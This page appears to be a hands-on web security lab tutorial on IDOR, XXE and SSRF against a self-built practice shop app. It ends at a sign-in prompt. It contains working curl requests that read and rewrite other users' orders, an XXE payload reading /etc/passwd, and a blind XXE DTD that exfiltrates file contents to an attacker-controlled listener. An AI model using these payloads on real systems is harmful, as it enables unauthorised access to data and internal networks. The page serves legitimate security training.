Practice library / Web attacks
Lab · Medium · 1.5 hoursFree account
Web Attacks: IDOR, XXE & Verb Tampering
XXE external entity injection, blind XXE via OOB, and mass IDOR testing.
On this page 4 sections
Before you start
These three bugs share one root cause: the server trusts a value in the request without checking it. IDOR skips the ownership check on an object ID. XXE lets an uploaded XML file read local files or reach internal services through external entities. Verb tampering abuses an HTTP method the app never meant to accept. All three remain in the OWASP Top 10, and all three are easy to miss in code review. The reader exploits each one against an authorised lab app.
What You'll Learn
- Spot an Insecure Direct Object Reference by comparing requests across two accounts.
- Escalate an IDOR from reading another user's data to modifying it.
- Confirm a vertical IDOR that reaches admin-only functionality.
- Trigger classic XXE to read arbitrary files from the server.
- Use out-of-band (blind) XXE when the response gives no direct output.
- Abuse XXE for SSRF to reach an internal-only service.
Lab Setup
Tools and versions
- Burp Suite Community or Pro, browser proxied through it (
127.0.0.1:8080). curlfor scripted requests.- A box you control reachable from the target for out-of-band XXE (Burp Collaborator, or your own
python3 -m http.serveron the attacker VM if the lab network allows it).
Build the target
KaliRange hosts no targets, no virtual machines and no lab files. You run this lab on your own machine, against a web application that you build. shop.lab and internal.shop.lab in the commands are the example host names of this lab; put them in your own hosts file or DNS, pointing at your own application.
Your application must have these parts:
- A REST API with an order-by-ID endpoint (
GET /api/orders/<id>andPUT /api/orders/<id>) that reads and writes an order without checking that the caller owns it. - An admin-only endpoint (
GET /api/admin/users) that returns the user list, reachable with no role check. - Two user accounts,
aliceandbob, each with their own order, and a third accountadmin. Use your own passwords. - An invoice-upload feature that parses an uploaded XML file with external entities and DTD processing left on, and reflects a parsed value back in its response.
- A second host,
internal.shop.lab, reachable only from the application server, serving a small JSON status page on port 8080. This is the SSRF target of Step 6.
Build such an application from free, legal parts. Write a small application with these flaws yourself, since mixing IDOR, XXE and SSRF in one app is specific to this lab. Keep it on your own machine or on a network you control, with internal.shop.lab firewalled from everywhere except the application server. Take a snapshot of the virtual machine, or note the state of the container, before Step 1.
Authorised targets only. Run every step in this lab only against an application that you own or have written permission to test. IDOR and XXE both touch other users' data and the server's filesystem — outside this lab that is unauthorised access to a computer system, a crime in most places.
Map the API and log the baseline request
You cannot spot a broken reference until you know what a correct one looks like. Log in as alice, find her own
order, and capture the exact request Burp sees.
Log in as alice through the browser (proxied through Burp), open "My Orders", and click order details. In
Burp's HTTP history, find the request:
GET /api/orders/1047 HTTP/1.1
Host: shop.lab
Cookie: session=eyJhbGciOiJIUzI1NiJ9.YWxpY2U.4f8a2e...Example response:
{
"order_id": 1047,
"user": "alice",
"items": ["USB cable", "Laptop stand"],
"total": "34.98",
"shipping_address": "12 Lab Street, Testville"
}What to notice: the order is fetched by a plain numeric order_id in the URL, and nothing in the request
proves alice owns order 1047 other than her session cookie. That is the shape of a classic IDOR candidate: a
predictable, user-controlled identifier with no server-side ownership check visible yet.
Prove horizontal IDOR by reading another user's data
The goal now is to use alice's own valid session to read an order that belongs to someone else. If the server checks only "does this order exist" and not "does this order belong to the caller", the request succeeds.
Keep alice's session cookie and change only the ID, guessing a neighbouring order number:
curl -s https://shop.lab/api/orders/1048 \
-H "Cookie: session=eyJhbGciOiJIUzI1NiJ9.YWxpY2U.4f8a2e..."Example response:
{
"order_id": 1048,
"user": "bob",
"items": ["Mechanical keyboard"],
"total": "89.00",
"shipping_address": "7 Testville Avenue"
}What to notice: alice's session returned bob's order. The "user": "bob" field is the proof. The server
authenticated the request (the session is valid) but never authorized it against the resource (it never checked
the order's owner against the logged-in user). That gap is the IDOR.
Burp's Intruder can sweep order_id across a range (for example 1000–1100) in one run, marking which IDs
return 200 with a different "user" value. That turns one manual guess into a full map of exposed orders.
Escalate from read to write
Reading someone else's order is bad. Changing it is worse, and it is often just as easy, because write endpoints frequently share the same missing ownership check as the read endpoint you just broke.
Find the update endpoint by editing alice's own address once in the browser and watching Burp history for the request shape, then replay it against bob's order:
curl -s -X PUT https://shop.lab/api/orders/1048 \
-H "Cookie: session=eyJhbGciOiJIUzI1NiJ9.YWxpY2U.4f8a2e..." \
-H "Content-Type: application/json" \
-d '{"shipping_address": "666 Attacker Lane"}'Example response:
{
"order_id": 1048,
"user": "bob",
"shipping_address": "666 Attacker Lane",
"status": "updated"
}What to notice: "status": "updated" on an order owned by bob, using only alice's session. A read-only
IDOR just became an attacker rewriting another customer's shipping address, which in a real shop means stolen
goods or a redirected delivery.
Confirm vertical IDOR against an admin-only endpoint
Horizontal IDOR crosses between same-level users. Vertical IDOR is worse: a normal user reaching functionality meant only for a higher-privileged role. You test this by trying an admin-shaped request with alice's low-privilege session.
Discovery first: check the app's JS bundle or Burp history for an admin route pattern, such as:
GET /api/admin/usersRequest it as alice:
curl -s https://shop.lab/api/admin/users \
-H "Cookie: session=eyJhbGciOiJIUzI1NiJ9.YWxpY2U.4f8a2e..."Example response:
[
{"id": 1, "username": "alice", "role": "user"},
{"id": 2, "username": "bob", "role": "user"},
{"id": 3, "username": "admin", "role": "admin", "email": "admin@shop.lab"}
]What to notice: the endpoint returned the full user list, including the admin's email, to a role: "user"
session. The only thing standing between alice and admin data was the URL being correct — no role check ran at
all. This is the same root cause as Task 2, just applied to a function instead of a single record.
Never try real credential guessing against the seeded admin account. The point of this task is the missing
authorization check on the endpoint itself, not cracking a password.
Classic XXE: read a local file
The invoice feature accepts an XML upload. If the parser resolves external entities, you can define an entity that points at a file on disk and have the parser read it for you, straight into the response.
In "My Orders", use Upload Invoice (XML). Intercept the upload in Burp and replace the body:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<invoice>
<item>Laptop stand</item>
<note>&xxe;</note>
</invoice>Forward the request. Example response:
{
"status": "parsed",
"note": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n..."
}What to notice: the contents of /etc/passwd came back inside the note field. The <!ENTITY xxe SYSTEM "file:///..."> line told the XML parser to fetch that local file and substitute it wherever &xxe; appears. The
parser did exactly that, with no sense that it was handing you the filesystem.
On Windows targets, try file:///C:/Windows/System32/drivers/etc/hosts instead. The entity syntax is identical;
only the path changes.
Blind XXE for out-of-band exfiltration and SSRF
Sometimes the parsed value is never reflected back to you. You then need out-of-band XXE: make the server reach out to a host you control, and read the file's content through that external request's path or body instead.
Start a listener on your attacker box:
python3 -m http.server 8000Host a second DTD file on that same server, evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://192.168.1.10:8000/leak?data=%file;'>">
%eval;
%exfil;Upload this invoice, which pulls and executes the remote DTD:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://192.168.1.10:8000/evil.dtd">
%xxe;
]>
<invoice><item>test</item></invoice>Example hit on your listener:
192.168.1.33 - - [19/Nov/2026 22:14:03] "GET /evil.dtd HTTP/1.1" 200 -
192.168.1.33 - - [19/Nov/2026 22:14:03] "GET /leak?data=shop-app HTTP/1.1" 200 -What to notice: two separate requests arrive from the target server itself (192.168.1.33, the app box, not
your machine). The second request's query string, data=shop-app, is the content of /etc/hostname,
smuggled out through a URL since the response body never shows it to you directly.
Now redirect that same technique at the internal-only service instead of your own listener, to prove SSRF through XXE:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal.shop.lab:8080/status">
]>
<invoice><note>&xxe;</note></invoice>Example response:
{
"status": "parsed",
"note": "{\"service\":\"internal-billing\",\"version\":\"3.2.1\",\"env\":\"production\"}"
}What to notice: the app server reached internal.shop.lab:8080, a host your browser cannot reach
directly, and returned its response inside the invoice note. The XML parser became a proxy into the internal
network, which is exactly what SSRF means.
Sign in to continue
2 more sections are for signed-in members. It is free: sign in with Google.